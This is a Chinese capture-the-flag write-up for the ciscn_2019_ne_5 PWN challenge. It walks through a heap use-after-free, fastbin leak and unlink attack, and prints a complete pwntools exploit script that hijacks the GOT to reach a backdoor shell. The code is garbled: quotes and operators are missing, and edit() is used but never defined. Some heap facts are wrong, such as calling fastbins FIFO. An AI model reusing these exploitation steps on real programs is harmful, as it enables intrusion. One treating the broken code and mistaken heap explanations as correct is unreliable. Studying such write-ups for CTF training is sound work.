1. 项目背景与题目解析ciscn_2019_ne_5是2019年全国大学生信息安全竞赛CNISC中的一道经典PWN题目。作为CTF竞赛中的二进制漏洞利用类题目它主要考察选手对堆溢出漏洞的利用能力。这道题在当年的比赛中难倒了不少参赛队伍后来也成为各大高校网络安全课程中堆漏洞教学的典型案例。我在实际做这道题时发现它完美呈现了现代堆漏洞利用中的几个关键技术点通过逆向工程定位关键函数识别堆管理机制的版本特性构造特殊的堆布局实现利用绕过现代防护机制如ASLR、NX2. 环境准备与题目分析2.1 基础环境搭建首先需要准备以下环境Ubuntu 18.04 LTS (推荐) gdb-peda 调试工具 pwntools 漏洞利用框架 checksec 安全检测工具安装命令sudo apt-get update sudo apt-get install gdb python3-pip pip3 install pwntools git clone https://github.com/longld/peda.git ~/peda echo source ~/peda/peda.py ~/.gdbinit2.2 题目文件分析使用checksec检查安全机制checksec ciscn_2019_ne_5典型输出结果Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)关键发现32位程序存在栈保护(Canary)开启NX防护未开启PIE代码段地址固定3. 漏洞定位与逆向分析3.1 关键函数逆向使用IDA Pro进行静态分析发现程序主要功能add_note函数申请堆块存储数据delete_note函数释放堆块但未清空指针show_note函数打印堆块内容隐藏的backdoor函数直接获取shell漏洞点出现在delete_note函数void delete_note() { int index; printf(Index: ); scanf(%d, index); if (index 0 || index note_count) { puts(Invalid index!); return; } free(notes[index]); // UAF漏洞点 }3.2 堆管理机制分析题目使用的glibc版本为2.23采用ptmalloc2堆管理器。关键特性使用fastbins管理小堆块128字节存在unlink宏用于合并空闲堆块fd/bk指针存储在释放的堆块中通过分析发现程序存在以下漏洞Use-After-FreeUAF堆块指针未清零缺乏输入长度检查4. 漏洞利用技术详解4.1 利用思路设计完整的利用流程申请多个堆块构造特定内存布局释放特定堆块制造UAF条件通过show功能泄露堆地址伪造堆块触发unlink操作修改GOT表劫持程序流跳转到backdoor获取shell4.2 关键步骤实现步骤1堆风水布局add(0x80, A*0x80) # chunk0 add(0x80, B*0x80) # chunk1 add(0x80, /bin/sh\x00) # chunk2 用于后续system参数步骤2制造UAF条件delete(0) delete(1) # 此时fastbin: chunk1 - chunk0 - NULL步骤3泄露堆地址show(1) heap_addr u32(p.recv(4)) # 从残留的fd指针获取堆基址步骤4构造fake chunkfake_chunk p32(0) p32(0x81) p32(heap_addr off1) p32(heap_addr off2) edit(0, fake_chunk) # 修改chunk0内容步骤5触发unlinkdelete(1) # 触发unlink宏实现任意写4.3 完整exp代码from pwn import * context(archi386, oslinux) def add(size, content): p.sendlineafter(choice: , 1) p.sendlineafter(size: , str(size)) p.sendafter(content: , content) def delete(idx): p.sendlineafter(choice: , 2) p.sendlineafter(Index: , str(idx)) def show(idx): p.sendlineafter(choice: , 3) p.sendlineafter(Index: , str(idx)) p process(./ciscn_2019_ne_5) # Step 1: Heap Fengshui add(0x80, A*0x80) #0 add(0x80, B*0x80) #1 add(0x80, /bin/sh\x00) #2 # Step 2: Create UAF delete(0) delete(1) # Step 3: Leak heap address show(1) heap_base u32(p.recv(4)) - 0x1a8 log.success(Heap base: hex(heap_base)) # Step 4: Construct fake chunk fake_fd heap_base 0x1a0 - 0xc fake_bk heap_base 0x1a0 - 0x8 payload p32(0) p32(0x81) p32(fake_fd) p32(fake_bk) add(0x80, payload) #3 # Step 5: Trigger unlink delete(1) # Step 6: Hijack control flow backdoor 0x804868B payload p32(0) p32(0x804a028) p32(0x8) p32(backdoor) add(0x80, payload) #4 # Step 7: Get shell p.sendlineafter(choice: , 3) p.sendlineafter(Index: , 0) p.interactive()5. 技术难点与解决方案5.1 堆地址泄露问题难点如何在没有信息泄露的情况下获取堆地址 解决方案利用fastbin的FIFO特性通过UAF读取残留的fd指针计算得到堆基址5.2 unlink防护绕过现代unlink宏有安全检查if (__builtin_expect (FD-bk ! P || BK-fd ! P, 0)) malloc_printerr (corrupted double-linked list);解决方案构造fake chunk满足检查条件精心计算fake_fd和fake_bk的值使FD-bk和BK-fd都指向P5.3 利用链稳定性常见问题堆布局不稳定地址计算错误触发时机不当优化方案添加调试输出验证每个步骤使用gdb脚本自动化验证构造稳定的堆布局6. 防护机制与绕过技巧6.1 ASLR绕过题目特性未开启PIE代码段固定堆地址可通过泄露获得绕过方法泄露堆地址计算基址固定偏移访问目标地址6.2 NX绕过题目特性存在现成的backdoor函数不需要构造ROP链利用方法直接劫持控制流到backdoor使用现有函数获取shell6.3 栈保护绕过题目特性Canary只保护栈利用点在堆上应对策略完全不触及栈结构全部操作在堆上完成7. 实战经验与技巧7.1 调试技巧使用gdb插件增强堆可视化gdb-peda$ heapinfo gdb-peda$ x/32wx 0x804a000关键断点设置b *0x8048889 # malloc调用处 b *0x80488f3 # free调用处自动化调试脚本def debug(): gdb.attach(p, b *0x8048889 c )7.2 常见错误排查堆布局错误现象unlink时崩溃解决重新计算fake chunk位置地址计算错误现象跳转失败解决检查偏移计算方式输入处理问题现象payload被截断解决注意scanf和read的区别7.3 性能优化建议减少交互次数合并多个操作到单次payload使用sendafter替代多步交互提高稳定性添加错误检测逻辑实现自动化重试机制增强兼容性支持本地和远程两种模式自动检测libc版本8. 扩展思考与变种8.1 题目变种分析如果题目增加以下防护开启PIE需要先泄露代码段地址计算相对偏移使用calloc替代malloccalloc会清空堆块内容需要调整利用链增加size检查限制堆块大小可能需要其他漏洞配合8.2 现代防护下的利用针对较新glibc版本2.26tcache机制的影响需要先填满tcache bin利用方式需要调整safe-linking保护指针加密处理需要先泄露密钥8.3 实际应用场景这类漏洞在现实中可能出现在网络服务程序中浏览器JavaScript引擎文档解析软件防御建议及时清空释放的指针使用现代内存分配器启用所有安全编译选项9. 学习资源推荐9.1 入门教程《漏洞战争》堆利用章节how2heap全套示例LiveOverflow堆漏洞视频教程9.2 进阶资料glibc malloc源码分析Phrack杂志相关论文CTF Wiki堆利用专题9.3 实践平台pwnable.kr堆题目hackthebox堆相关靶机各大CTF赛事archive10. 个人实战心得在多次复现这道题的过程中我总结了几个关键点堆布局要精确到字节级特别是在构造fake chunk时一个字节的偏差都可能导致失败。我习惯在关键步骤后添加验证代码比如打印当前堆状态。不同glibc版本的堆管理行为可能有细微差别建议在解题时明确题目环境。我维护了一个包含各版本glibc的Docker镜像库用于测试。当利用链较长时建议分阶段验证。我的做法是先确保能稳定泄露地址再尝试写操作最后完成全链拼接。真实环境中遇到的堆漏洞往往没有这么友好可能需要结合其他漏洞如溢出、格式化字符串才能完成利用。这道题作为教学示例已经包含了最核心的技术点。